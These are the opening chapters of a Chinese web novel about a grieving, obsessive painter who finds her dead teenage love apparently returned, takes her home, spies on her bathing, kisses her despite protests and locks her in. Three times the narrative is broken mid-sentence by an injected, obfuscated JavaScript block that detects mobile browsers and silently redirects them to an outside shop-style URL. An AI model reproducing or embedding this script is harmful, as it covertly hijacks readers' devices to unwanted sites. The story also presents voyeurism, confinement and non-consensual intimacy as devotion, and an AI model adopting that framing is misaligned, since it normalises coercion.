《守寡十年后》 1. 第 1 章 “安茸,二十八岁生日快乐。” 在深秋飘摇的雨夜里,裴重溪在一块被冲刷干净的墓碑前放了一束白菊花。 天上的雨很大,细细密密的,被一阵狂风席卷着刮在身上。 墓碑前,穿着黑裙的女人表情格外麻木,脸上似乎像是从地狱里爬出来的恶鬼,失去了任何血色,看着不像活人。 细嫩的手指抚摸在粗糙的墓碑上,手指仔细描摹着黑白色的照片。 照片里的女孩扎着垂下的两条麻花辫,笑得格外清澈、烂漫,一双俏生生的桃花眼从黑白照片中瞧出来,直直地刺入了黑裙女人的双眸。 裴重溪的眼眸随之猛烈一颤。 她好像看到黑白照片里的女孩在朝她笑,朝她眨了眨眼睛。 再一看,只是错觉。 “安安,你什么时候才会回到我身边?你一个人在那里冷不冷?” 黑裙女人半蹲下身子,用额头贴在冰凉的墓碑上,也不管自己的身上被雨水几乎淋透了。 天边闪下银白的闪电,映照了一大片寂静的山林。 只有孤零零的路灯和天上的电光是唯一的照明。 若是有旁人看到这一幕,一定会尖叫着逃离—— 这实在不像是个精神正常的人会做出来的动作。 “你说,什么时候我才能去那里陪你?” 裴重溪深情地抚摸着墓碑,最终在黑白照片上落下一吻。 刚刚看到的疑似眨眼和微笑,不过是雨水冲刷在照片上的幻觉。 裴重溪的嘴里不断呢喃着:“安安,安安……求求你了,让我梦到你一次吧,我已经有十年没有梦到你了。你不是说会永远和我在一起吗?为什么如此薄情?” 女人的眼神格外幽怨,像是在看一个骗了自己所有真心的负心人。 雨水冲淋在女人的头上,黑色的发丝宛如海藻般贴在苍白的脸颊上。 直到最后一道闪电落下,裴重溪才缓缓站起。 裴重溪执拗地要把黑色雨伞一直举在墓碑的头顶,不让墓碑多淋一滴雨。 可这在狂风大作和暴雨冲刷下,简直是无比愚蠢且徒劳的举动。 随着裴重溪的动作,她的手腕上有一串珍珠项链微微晃荡。 和满身名贵的首饰和价值不菲的衣裙相比,那条珍珠项链显得有些廉价,但看光泽,却是被主人保存得很好的样子。 “安安,我下次再来看你。” 裴重溪的手指划过墓碑的顶端,最后俯身在墓碑上亲吻一下。 “记得今天晚上来梦里找我。” 裴重溪留下最后一句话,举着依旧被吹得东摇西晃的雨伞,离开了墓园。 十年了,她几乎每周都会来这处墓园看望安茸,每一次都提出了同样的请求。 她只想梦到安茸,没有任何诉求。 可是为什么?为什么总是梦不到她? 裴重溪疲惫地坐在车里不忍去想最坏的结果。 没有梦到安茸的原因是安茸并不爱她,不愿在冥冥之中再与她重逢。 “不可能,绝对不可能。” 裴重溪苍白的嘴唇中倾泻出了一段偏执的甚至有些恶毒的话。 “若有一日我死了,我也不会和你分开的,我的骨灰和你的骨灰掺在一起,永远不分开。” 说这话的人也知道这不可能,因为安茸的遗体在起火的车里已经被烧完了,墓碑下只有校服和一些零碎, 保时捷经典的红色皮革座椅被印出了一圈圈水渍。 裴重溪像是没看到似的,把湿漉漉的雨伞扔到副驾。 车灯如剑,破开了一条从墓园通往市区的路。 裴重溪的眼里充斥了红血丝。 “晚自习放学后,你不是说以后有钱了就给我买这辆车吗?我现在买了,你为什么都不来看看我?” 十年了。 十年前的十月二十三号,是安茸的生日,也是她出车祸死亡的日期…… 指节分明的手指握着黑色的方向,悬挂在左手腕上的项链随着车身的波动微微晃动。 浑身湿透、体温逐渐变低的裴重溪似是放弃了所有偏执的幻想,只从双唇中倾泻出了一句哀求的话: “安安……让我梦见你一次吧,一次就好……” …… 路灯照不到的小巷子里,一个纤细的白裙少女惊恐地连连后退。 不远处有脚步声逼近。 安茸惶恐地望着四周。 她不知道为什么突然会出现在这里。 “救命啊,救命啊……有没有谁来救救我?!” 安茸后退到一处低矮的屋檐下面,听到脚步声越来越近。 “该死的,这到底是哪里?” 垂着两条麻花辫的女孩相貌明艳,漆黑的眼珠子还带着少女特有的灵动,此刻被一层恐惧扭曲得有点变形。 上一秒还在盘山路上出车祸被撞下山崖,怎么下一秒就出现在了这里? 安茸:“我现在还不知道我爸妈急着找我什么事儿……” 安茸的记忆还停留在车辆冲出护栏时的那一刻。 她过生日,居住在山区的父母突然有急事找她。 女孩心想,难道是父母转性了,要给她一个惊喜?忙不迭地请假订票回去,为此还庆幸可以逃过月考,结果直接出车祸。 十八岁的少女对死亡还没有概念,再次一睁开眼睛就到了现在。 身上还穿着从前合租女同学替她买的白色小裙子。 “你们再过来,我就报警了!” “小妹妹,你有手机吗?哈哈哈……”一个混混打扮的黄毛举着伞走到安茸前面,手里扬了扬一个款式老旧的老人机。 “喂,我说你们现在小姑娘不是很时髦吗?怎么就用这破手机?” 黄毛背后的卷毛混混哈哈笑道:“小姑娘想来钱还不容易,随便找个对象撒撒娇、求一求,那钱还不是哗哗就到手了。” 又是引得一阵哄笑。 安茸的手藏在背后,反手握住了一个角落里污渍斑斑的酒瓶子。 “我警告你们不许过来,不然我就不客气了!” 面前的黄毛人数不少,安茸只得不断后退,很快后背已经贴到了粗糙的墙面上。 雨水溅在地上的污泥上,弄脏了安茸的白色小裙子。 安茸嘴里小声呢喃着三个字: “裴重溪……裴重溪……你到底在哪里啊?” 十八岁的少女下意识就想起了最亲近的人。 面前的这些黄毛似乎格外欣赏着女孩因为恐惧而微微扭曲的脸颊,格外期待那梨花带雨的哭一场。 …… 路口,一辆保时捷停在一条幽深的巷子里。 裴重溪若有所感地扭转方向盘,将车身开进了狭窄的巷子。 这不是通往她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323616|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别墅的路。 耳边的导航正在规划新的路径。 裴重溪的心头没由来的突突跳了两下。 她手指抚摸着手腕上的珍珠项链,说:“安安,我们过一会儿就回家。” 安抚完这一句,裴重溪刚要扭转方向盘,但思维电转之间,她没有任何缘由地猛踩一脚油门。 伴随着发动机的嗡鸣,如箭的车灯刺穿了黑暗,照亮了一群混混打扮的黄毛。 “我靠,这人怎么开车的,长没长眼睛啊!” “哥,哥你别激动,你看那车,咱赔不起……” 伴随着一句脏话,站在最前面的黄毛进也不是、退也不是。 刚想要叫嚣着骂两句,结果那开车的人宛如眼瞎似的,不但没有踩刹车,反而踩了油门要直接撞过去—— “我靠,你疯了吧?!” 黄毛嘴里骂骂咧咧个不停。 主驾驶的人完全没有听到。 一个身穿着白裙的女孩出现在了前风玻璃的正对面。 耳边导航不断播报着“正在重新规划路线”的噪音。 裴重溪将导航关掉。 她的思维几乎是凝滞在了此刻。 面前的白裙女孩惊魂未定地盯着豪车的方向,脸上故作坚强,其实快要紧张到哭出来了。 从裴重溪的角度,能看到她握在身后的一个啤酒瓶子,好像随时要砸出来丢到她的前风玻璃上面。 安茸? 裴重溪差点以为自己是发烧看到幻觉了。 十八岁的年轻少女以为这辆车是混混的同伙,满脸的戒备。 过于刺眼的灯光照着她睁不开眼睛。 随即,她看到车门打开,一只冰凉的手抓住了自己的手腕。 “你放开!你到底是谁啊?” 安茸挣扎着想要后退,可她这点力气在裴重溪面前完全不够看。 挣扎了好几下,酒瓶子掉地,人被用力拽到了副驾驶上。 “手机!我的手机!” 裴重溪的动作稍有停滞,低头看着刚刚被车轮已经压扁了的老人机。 她纤长的手指在一堆零件当中拨弄几下,找出了里面的SIM卡,抬手抛到了安茸的手掌心里。 “上车,把安全带系上。” 宽大的轿车缓缓退出了巷子。 裴重溪把车开到了一处空旷的路边停稳。 她漆黑的眸子几乎是黏在安茸身上。 “安茸……”裴重溪嘴里吐出了安茸的名字,她前倾身体,迷恋道:“是你吗?安安,是你吗?” 直到远离了危险,安茸脸上这才卸下了惊恐,笑容再次变得腼腆且明亮。 她用手胡乱地擦掉脸上的雨水。 “谢谢您啊。” 说完谢谢后,安茸的眼睛眨了眨,不可置信地又看了看裴重溪。 “您长得好像裴重溪啊……您是她的亲戚?好显年轻。” 安茸俨然是把裴重溪当成了姐姐或者阿姨辈的角色。 真是个漂亮的人,只是浑身上下都透着股阴郁冰凉的气息,和她的好朋友裴重溪完全是两个风格。 安茸话音刚落,带着浅香味的手帕突然贴到了自己脸上。 安茸看到了那抓着手帕的手腕上,缠着一串极眼熟的珍珠项链。 车门落锁的声音在耳畔响起。 “安安,小心别着凉了,我替你擦擦。” 2. 第 2 章 “你别过来!” 安茸感受到了害怕的情绪,不断地后退。 对面那个长得很像裴重溪的女人却一点点靠近。 她压住了安茸要按在车门把手上的手。 “乖,安安别动,小心别着凉了。你看你怎么下雨天在外面都不打伞。” 裴重溪絮絮叨叨着话语,目光不敢有片刻从安茸的脸上挪开,生怕一眨眼间安茸就不见了。 裴重溪执拗地拿起了安茸一双手,用湿纸巾擦拭干净上面的雨水和污渍,万分珍重地捧着那只手,贴在了自己的脸颊上。 裴重溪身上实在是太冷了,冷得不像是一个活人。 悬挂在裴重溪手腕上的珍珠项链,安茸倒是熟悉。 但是在这惊恐交加的环境当中,她没办法思考太多。 “你放开我!你到底是谁啊?你和那群混混该不会是一伙的吧?我要报警了啊!” 安茸缩在门边,她脸上刚刚浮现出的来自少女的烂漫和感谢,在此刻消失得无影无踪。 像是在看待一个十恶不赦的坏人。 裴重溪停在半空中的手顿了顿。 安茸本还想继续叫喊和扬言要报警。 可就在这一刻,安茸所有的话都说不出来了。 面前的人简直太像裴重溪了,除了周身的风格不一样之外,简直和裴重溪如出一辙。 面对着这张脸,安茸说不出更多。 裴重溪收回了停在半空中的手。 她的眼神突然变得有一瞬间的阴沉和偏执,像极了从地狱深处爬出来的恶鬼,片刻又变得温柔。 “为什么连幻觉当中的安茸都在讨厌我。” “安安,这就是你不让我梦见的原因吗?你不喜欢我?可是以前我们一起挤在出租屋里的时候可不是这样的。你说要一直和我在一起,要和我考同一个大学,连工作都不分开,还要赚钱养我,给我买房买车,你看,这是我的车,喜不喜欢……” 裴重溪嘀嘀咕咕着只有她们才知道的过往。 安茸紧绷的表情产生了一丝松懈,她只听清了只言片语。 只有她们才知道的只言片语。 “你说什么?” 蜷缩在皮革座椅上的安茸小声试探询问:“你是裴重溪?” 随即,安茸看到了中控屏上的时间显示——二零二……! 安茸的瞳孔猛地震颤了一下,思维像是被天边的闪电劈中了似的。 现在的年份是十年之后。 相比于安茸的震惊,裴重溪收回了目光。 她重新扣上了安全带,双手放在方向盘上。 “安安,我们回家吧。” 裴重溪的语气亲切,眉眼中带着十分温和的笑意。“是我不好,刚刚吓到了安安。” 这一切都是幻觉。 裴重溪不介意让幻觉一直持续下去,只要能重新看到安茸,这比其他的任何都好。 安茸小心翼翼地打量着正在开车的成熟女人。 海藻般黑色的发丝粘在脸颊和脖颈上,衬得她的肤色格外苍白,几乎到了快要变得透明的程度。 一双嘴唇也没什么血色,可难挡五官的优越。 她的睫毛很长。 曾经安茸非得压在裴重溪身上,一根根数她的睫毛。 裴重溪想要反抗,但总是会被安茸镇压在出租房里那张稍微一有动作就会嘎吱作响的床上。 安茸有时候会任性,学校宿舍不住,非要出来租房子。 裴重溪竟然也同意了,在周末打工,满足她的要求。 安茸分析着裴重溪刚刚呢喃自语的话,小声说:“你真是裴重溪?裴姐姐,是你吗?” 连幻觉当中的安茸性格都那么好。 裴重溪的表情格外柔和:“嗯,是我。现在很晚了,你吃过晚饭了吗?冰箱里还有阿姨包的小馄饨。你以前最喜欢吃紫菜馄饨汤了,我给你煮好不好?” 车越开越偏,一直停到了城郊的独栋别墅。 此处僻静,楼与楼之间的间隙很大,看起来像是非富即贵的地方。 安茸双手扒在车玻璃上,看着外头气势庞大的独栋别墅,眼睛眨巴了好几下,不可置信地回头看裴重溪。 “这是你买的?这车也是你的?裴姐姐,你好厉害啊。” 安茸的性格好,不会沉浸在悲伤当中,想不通的事情干脆就不想了。 千万般事情都没有眼前吃饱饭重要。 裴重溪把车停到地库里,不管车上的狼藉,自会有人去收拾。 她的目光一刻都不敢离开安茸,生怕这场幻觉就此消失。 安茸歪了歪头笑道:“裴姐姐,你现在怎么那么有钱了?不会你一直是隐藏的富二代吧?” 安茸三两步上前,抓住了裴重溪的胳膊,和高中时期一样用脸颊贴了贴、蹭了蹭裴重溪的肩膀。 “我一直是孤儿。侥幸会画画,赚了点钱而已。” 温热的触感透过布料传来。 裴重溪把安茸带到了别墅内部。 安茸看什么都新奇,这也要摸一摸,那也要碰一碰。 但当彻底进入了主人经常活动的范围内,安茸却被定在了原地。 满地都是酒瓶子,散落在茶几、桌面和流理台上的香烟,有的是从香烟盒里散开的,有的则是抽了一半随便灭在了烟灰缸里。 还有一个看着就很贵的雪茄储藏柜。 扑面而来的酒气冲天,酒瓶子里有的是满的,有的已经喝空了。 举目望去,所有的装修几乎都是黑白的,不知道的还以为是步入了什么极端沉痛的灵堂当中。 “对不起,我家有点乱,平时不让阿姨过来打扫。” 裴重溪站在一堆酒瓶子当中,苍白地向安茸解释。 眼睛也不敢因为心虚而下移,始终偏执地黏在安茸的脸上。 “我这就去收拾。” 裴重溪把昂贵的酒瓶子全都塞到了一个不用的纸箱里,很快就清空了沙发和餐厅的位置。 只是空气中弥漫不散的酒味和雪茄的气息,并没有因为新风系统的呼呼运转而消失,反而一直流连在安茸的鼻尖处。 安茸半个屁咕坐在餐桌椅上,丝毫不敢乱动。 “裴姐姐,你现在……” 安茸把下半句话吞了下去。 她想说,裴重溪你现在的样子让我有点害怕。 她害怕的不只是黑白的装修和满地的烟酒,害怕的是……仿佛滴着露水的白菊花,被插在雪白的古董花瓶里面。 到底是怎样阴间的审美的人,才会每天这样精心侍奉着家里随处都有的白菊花? 安茸不安地用手指抠着餐桌的边缘。 实木餐桌上倒映出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323617|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了头顶柔和的灯光。 开放式的厨房中传来了小馄饨的香味。 安茸咽了一下唾沫。 她双手托着腮,把不安压在了心底。 “或许裴姐姐的审美出现了一点问题。不是有个词叫做阴暗风吗?在我上学的时候还挺流行的。” “好吧,我个人不是很欣赏。” 安茸自言自语地说。 安茸注意到了餐桌旁立着的一个巨大方框,上面盖了一个黑色的绸布。 “里面是什么?” 安茸本就不是很乖的性格,她悄悄地掀开了绸布的一角,透过微弱的光线,看到了里面的内容——一幅油画。 安茸眨了眨眼睛。 她好像确实记得裴重溪很喜欢画画来着,但是学美术太费钱了,所以裴重溪一直是学理工科的。 掀开绸布的一角,安茸看到了里面赫然是一朵盛开到极致、开始腐烂的玫瑰。 窗台上的玫瑰插在玻璃花瓶里,一簇簇的玫瑰盛开到了极致,已经到了腐烂的边缘。 珍珠链子缠绕在玫瑰上面,似乎要用一种荒唐的手法将玫瑰给勒死。 与此同时,一声闷雷炸开。 “啊!” 安茸尖叫一声,赶紧把绸布放下。 “嗒。” 白色瓷碗放在安茸面前,里头是加了虾皮、点了几滴辣油的鲜香小馄饨。 “你喜欢多加胡椒粉和醋,我替你加好了。” 裴重溪站在安茸面前,目光贪恋地描摹着安茸的五官轮廓。 “安安,你刚刚看到了什么?” 窗外又是轰隆一声,安茸被吓得不轻。 “我悄悄看了这幅画。” 安茸用手指戳了戳被绸布盖着的画框,“对不起,我不该偷看。” 裴重溪没有看画框的方向,目光一直流连在安茸脸上。 裴重溪弯腰,双手捧起了安茸的脸颊。 “我记得你以前吃我做的饭前,都会说什么来着?” 裴重溪说着诱导的话语。 安茸在裴重溪的眼睛里看到自己的倒影。 小姑娘是那么漂亮,幻觉是那么真实,手掌触感的脸颊是那么柔软,一切都好像是真的一样。 安茸仰起头想了想,笑说:“谢谢姐姐!裴姐姐对我最好了!” 安茸脸上出现了毫无阴霾的笑意。 裴重溪的触碰在安茸看来倒没什么问题,毕竟两人在午休时候就爱在桌子下面互相牵着手,晚自习结束回家后也喜欢脱了校服和姐姐抱在一起。 现在只是摸摸脸,倒也无所谓了。 之前怕是没认出裴重溪,现在认出了就不怕了。 “你那么有钱,你要养我……你以前说过‘苟富贵,勿相忘’啊!” 裴重溪俯过身,把两人的距离不断拉近。 “安安,你身上的裙子是湿的,去换件衣服,别着凉了。” 裴重溪的目光痴迷地粘在安茸的裙子上。 那是她提前送给安茸的生日礼物…… 是安茸死前穿的裙子。 少女对裴重溪的情绪丝毫不知,她看裴重溪正在瞧自己的裙子,笑着拉了拉裙摆。 “好看吧?你对我真好,好贵,只有你舍得给我买。” 在幻觉中,裴重溪的额头上猝然迎来了一个吻。 3. 第 3 章 有一瞬间,裴重溪怀疑面前的安茸根本不是幻觉,而是真正存在的人。 但是安茸已经在十年前的今天坠崖而亡了,尸体,被一场烈火烧得干干净净的。 当时这件事还登上了社会新闻。 “裴姐姐,你怎么不说话?” 安茸局促地坐在凳子上,她一双俏生生又水灵灵的眼睛眨巴眨巴地看着裴重溪。 “你先去换衣服吧。” 裴重溪收回了心神。 在一瞬的恍惚之下,她的嘴角往上,自嘲地笑了笑。 “或许这一切都是假的。”裴重溪心想,“但假的也比没有安茸在的真实要好许多。” 安茸懵懂地点了点头。 她倒是不介意在裴重溪面前换衣服。 安茸边提着裙子边嘀咕道:“你家真大啊,浴室在哪里?洗衣房在哪里?” 安茸的手指抓了抓头发,越发觉得好朋友有钱是件多好的事情。 裴重溪指了一个位置。 如影随形的凝视始终落在安茸的后背上。 安茸说:“你都那么大了,怎么还和以前一样喜欢盯着我看?我们俩都是姑娘,我的身体难道会比你多一块少一块不成?” 安茸“啪嗒”一声关掉了厕所的门。 在空旷的餐客厅里,裴重溪单薄地站在原地。 她低头看了看刚刚煮出的小馄饨,又将目光落在了亮着灯的浴室里面。 磨砂玻璃中透出了里头暖黄色的灯光,她听到了哗啦啦的水声。 裴重溪的视线快凝成凝固的实体,有着无形的东西,让她只得盯着有安茸在的位置。 一步,两步,三步。 随着“咔嚓”一声,门被推开了一条小缝。 一只眼睛从门缝中透过,看到了充满雾气的浴室。 淋浴间里的女孩并没有注意到门被打开了,正在研究着花洒上各种高级又复杂的按键。 她洗澡的速度很快,三两下把自己身上搓干净了,裹上了事先准备好的浴袍。 那件浴袍是裴重溪的,布料长了好几厘米,怎么看怎么像个偷穿大人衣服的小朋友。 是她的安茸,没错。 裴重溪纯黑色的瞳孔上下扫视着安茸,从她被热气蒸腾得发红的脸颊,一直扫到了纤细修长的脖颈,然后是精致的锁骨,接着往下…… 一切都定格在十八岁最美好的年纪。 安茸的身材一直是很偏瘦的类型,不管怎么养也养不胖。 或许也和两人生活一直拮据,并未吃过什么大鱼大肉和滋养身体的补品有关。 身材纤细的女孩皮肤过于白皙,不管被体育课的太阳怎么晒都不会晒黑,顶多是有一些发红。 她的身上有着些陈年伤疤,这一切都和裴重溪刻在脑海里的记忆没有什么区别。 隔着淡薄的水雾,裴重溪的心跳越发加快。 她宛若实质的视线终于引起了浴室中人的注意。 安茸突然抬头,和一只漆黑的眼眸对了个正着。 “啊!”安茸叫了一声。 她在最初的惊讶之后,拍了拍胸口说,“你要想洗澡就进来和我一起洗啊,你以前还总是缠着给我搓背。” 安茸倒是没有被偷窥的惊慌。 她们两人以前合租的出租房热水器的容量有限,只有两个人一起洗,才能节约水量和时间,经常是五分钟、十分钟不到就把澡给洗完了。 加上两人都是女孩子,若是住校也是在大澡堂里洗,十几个几十个赤条条的姑娘们挤在一块儿互相搓澡,被看两眼实在是再正常不过了。 安茸的眉眼弯弯,眼中又带着一些不解。 所以,一定是幻觉吧。 裴重溪站在原地。 她忍住了想要抽烟、用尼古丁麻痹神经的冲动,按了按在发痛发胀的太阳穴。 每多看一眼安茸,她的太阳穴就好像被针刺穿似的。 “一切都是幻觉。” 说完后,裴重溪转回了视线,远离了浴室。 她在一个柜子前停下,仰头吃下了两片白色的药片。 裴重溪有严重的失眠和一些精神问题。 医生说按照医嘱吃药不会变得严重,但裴重溪有时候也记不清自己到底是多吃了还是少吃了。 就像现在,或许是因为她少吃药了,才看到幻觉。 安茸看到外头没人,疑惑地抓了抓低垂着水珠的发丝。 “不是要和我一起洗啊,那站在门口一直看做什么?” 安茸也想不明白。 她本能的觉得就该和姐姐在一起才好,也并没有觉得被偷看有什么不对的。 毕竟更亲密的事情,两个好朋友之间也不是没有做过。 安茸把白色裙子丢到洗衣机里。 因为洗衣机太过高级,安茸折腾了好一会儿,这才让洗衣机成功运转起来。 她踩着拖鞋,穿着裴重溪专属的浴袍,重新回到餐厅里。 白色瓷碗里的小馄饨依旧冒着热气,而裴重溪已经不知道哪里去了。 “或许她比较忙吧。” 安茸没多想,毕竟现在裴重溪那么有钱,有钱人就应该多忙一点。 影视剧里都是这样说的。 安茸稀里哗啦地把小馄饨吃完,长长叹了一口气,连一口汤都没有剩下。 去厨房熟练地将碗筷洗干净,放在沥水篮上。 空旷的房子在此刻显得有些瘆人。 安茸嘀咕了一句:“真是有钱啊,如果让我一个人住在这里一定会害怕的。” 安茸东看看,西看看,一时间不知道该做什么。 此刻,一道声音宛如鬼魅般在安茸的背后响起。 “你的卧室在这里。” 裴重溪按着因为药效而开始变晕变钝的脑袋,声音低哑地开口。 她身上穿着一条黑色的丝绸吊带裙,看苍白的脸色依旧像是从坟墓里爬出来的妖异女鬼似的。 结合满地的酒瓶子和散落的香烟,以及窗外的雷电,让安茸心里有隐隐的担忧好朋友是不是最近受了情伤或者失业了。 往上的楼梯上,安茸的视线连在裴重溪垂下的左手上缠绕的项链。 安茸抱有一丝期待地说:“这项链你一直留着啊。” 陡然间,前方的脚步停顿了。 有些发黄的珍珠缠绕在苍白没有血色的手腕上,项链很长,绕三圈都有些余量。 上方传来一声低低的“嗯”,之后就没有更多的反应了。 一间整洁的卧室出现在安茸的面前。 裴重溪站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323618|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,她幽深的眼眸始终黏在安茸的发梢上。 安茸的头发已经被吹干了,此刻正蓬松地垂落在肩膀和后背。 她身上穿着独属于裴重溪的睡袍,似乎连睡袍上都有淡淡的酒精的味道。 倏然间,安茸被推到了门板上—— 裴重溪俯身凑在她的睡袍上闻了闻。 裴重溪的力气极大,但在把安茸按到门板上时,手却下意识地护住了她的蝴蝶骨,没有将人撞疼。 既然是幻觉,是没关系的吧?既然是幻觉,那安茸应该不会怪她? 纵容她放肆一回吧。 无数汹涌的念头在药物的作用下,侵蚀占满了裴重溪的脑海,促使裴重溪做出了一个十分恶劣的行为。 柔软的双唇贴在了安茸的脖颈上,沿着脖颈不断往下,最后在安茸的锁骨上印上了一个草莓印。 安茸胆战心惊,丝毫不敢挣扎。 她眨巴着眼睛,慌乱却不敢逃离。 “裴姐姐,裴重溪……!你放开我,你别这样!不能这样!” 在两人还在上高中的时候,社会风气并不很开放,女性之间的这些事情还属于是极小众的,甚至可以被划分成精神病的类型。 如果被公之于众,必然会遭到退学,就算有工作也肯定会被用人单位辞退。 现在……应该和以前一样只是玩闹吧,女孩子之间正常的玩闹。 安茸嘴里嘟嘟囔囔的,试图说服裴重溪离开。 但裴重溪可不管这些,动作不见任何迟疑地在她的两个锁骨上都印上了一个吻。 随即,一滴滚烫的泪水触碰在了安茸的锁骨上,又旋即被另外一个亲吻给覆盖。 “时候不早了,早点休息吧,安安,明天见。” 说完后,裴重溪抬步离开。 整条走廊上又重新恢复了寂静。 换洗衣服和一些私人的洗漱用品都被整理放在了和卧室连通的洗手间里。 安茸嘟囔了一句:“真奇怪。” 随后挠了挠头,因为困倦,最终把这些想不通的问题都放到一边,转身埋到被子里面睡觉去了。 她和裴重溪的关系好,裴重溪和她闹一闹,应该也属于正常范围吧。 反正她们又不是女同性恋,只是好朋友之间的胡闹而已。 …… 次日清晨,安茸在King size的大床上睁开眼睛,用力地打了一个哈欠。 她趿拉着拖鞋下床,房子里空无一人,只有餐桌上留下了一碗小馄饨。 安茸没急着吃饭。 她想出去看看现在社会发展的情况,毕竟十年过去了。 安茸手搭在大门把手上往下一按。 随着“咔”的一声,把手无法继续下压,房门被锁住了。 通往地下车库的房门也没有得到幸免。 安茸皱了皱眉头。 她没有手机,联系不上裴重溪。 在偌大的别墅里转了一圈后,最终无果地站在餐桌旁。 装有小馄饨的白瓷碗下压着一张纸条: “外面的世界很危险,别出去,安安需要什么随时告诉我,我会给安安准备好。” 安茸:? 危险?什么危险?十年前总传外面打仗,现在终于打起来了?? 4. 第 4 章 “老师,您的那幅画还要继续改吗?我看着很合适啊。” 经纪人虞山试探着说:“要不先把这幅交上去,您下一幅作品再……”虞山没敢多说,她小心地用余光观察着裴重溪的神色。 裴重溪按着发痛的太阳穴说:“我再回去改改。” 裴重溪对艺术是有着偏执的追求的,寻常人不懂,也观察不到颜色之间的细微差距。 “好的,好的。”虞山给裴重溪端来了一杯红茶。 裴重溪捏起茶杯抿了一口,压制不住太阳穴的突突疼痛。 “今天就这样吧,我先回去了。” “哎,好的。”虞山站起来,赶紧去送裴重溪。 路过画廊时,裴重溪未曾停下脚步,好像两侧昂贵的油画作品都不是她自己辛苦创造的心血,像是其他无关紧要的东西。 “今日早上还有个大客户要来问问价,给出的价格不低,您若是想卖,卖对方一个人情也好。”虞山说出了一串很高的价格。 裴重溪的脚步未停,上了车,“砰”的一声关上车门。 “我知道了,有事邮件联系。” 最后一个字在风中飘散。 再眨眼间,已经连车的背影都看不见了。 虞山站在原地应了好几句“好”,直到那辆车彻底消失在视线当中,才松了一口气。 裴重溪的名声在外,画需要送到各国去参展。 偏偏她这个人的性格也古怪,或许艺术家都是对自己的作品有着别样的追求,改了一遍不行,改个四五遍、七八遍也是常有的事情。 …… 裴重溪有更重要的事情要做。 “您是说,您看到了您爱人的……幻觉人影出现在您家里吗?”坐在裴重溪对面的心理医生微微皱着眉头,在纸上写下了一行行病情描述。 “是的。我在给我的爱人上完坟之后,她出现在了巷子里。” 裴重溪把那雨夜发生的所有事情描述了出来。 医生越听,眉头皱得越紧。 “您说的这个爱人……您和她举行过婚礼吗?” 裴重溪手指不断摩擦着手腕上的珍珠项链,她停顿了片刻,眸光一下变得晦暗,长长的眼睫遮挡住了眼眸中消逝的光芒。 “没有。那时候我和她都在上学。” 心理医生自知这个问题没有办法继续深入,询问:“那您的爱人在幻觉中,有对您表现过不满吗?” 裴重溪停顿了片刻,说:“没有。” “她很喜欢我,吃了我做的馄饨,穿上了我的浴袍,还会主动亲我。被我触碰也没有反抗。” 心理医生在病历本上写上了“病情加重”的字样。 “您最近有按时按量吃药吧?” 在窗明几净的心理治疗室里,裴重溪按着持续发痛的太阳穴。 她今天的嘴唇倒不是苍白,涂了遮盖唇色的口红,看起来嘴唇红得很,而皮肤又过于白了。 这一画面透着一股妖异的美感,结合着她总是身穿黑白灰色的衣服,这一幕平添了几分独属于未亡人的单薄和破碎感。 裴重溪摩挲着珍珠说:“我有的时候不记得吃了多少。” 裴重溪接着问了一个让心理医生始料未及的话:“我需要吃多少药,才能一直看到我的爱人?” 心理医生只得再一次强调说:“您或许需要考虑一下精神分裂的可能性了。” 裴重溪的指甲不耐烦地敲击在手机背面。 手机壳后贴了两人一起在高中时候的合影,她和安茸都穿着蓝白色的高中校服,胳膊挽着胳膊,两个稚嫩的女孩都在朝着镜头比耶。 “我不考虑。” 心理医生:? 心理医生顿了顿,用手帕擦了擦已经爬满皱纹的脸,侧过了半晌才反应过来—— 裴重溪在说,她不考虑精神分裂的可能性。 裴重溪没有继续在心理医生这浪费时间,也对片汤话不感兴趣,起身拿了包准备离开。 “你要遵医嘱啊。”年过半百的心理医生在后面说。 裴重溪踩着高跟鞋离开,只挥了挥手表示听到了。 …… 回到别墅里,裴重溪将自己关到了画室。 整个别墅的二层,所有房间被打通,变成了一个非常宽阔的画室。 地上散落着各种开封和未开封的颜料,画架和画框摆得到处都是。 打扫卫生的阿姨不会踏足这里,在少数时间里经纪人虞山会来。 堆积如山的画作上面被盖上了遮挡视线的黑色绸布。 裴重溪面前是一幅雷雨天的油画。 一束光从裂开的云层射入,照在了一小片寂静的荒原上。 风暴即将来临,大团的雷云在视线尽头团聚,黑色的群山高耸。 巧妙的光影色彩让人叹服。 光从技巧和艺术性来说,这幅画作已经表现得十分卓绝。 而刻薄又挑剔的创作者总认为其没有表达出内心真正的含义。 树木在风暴之中摇晃,风雨欲来,站在油画之前仿佛都能闻到其中充满水汽而又凝滞住的空气。 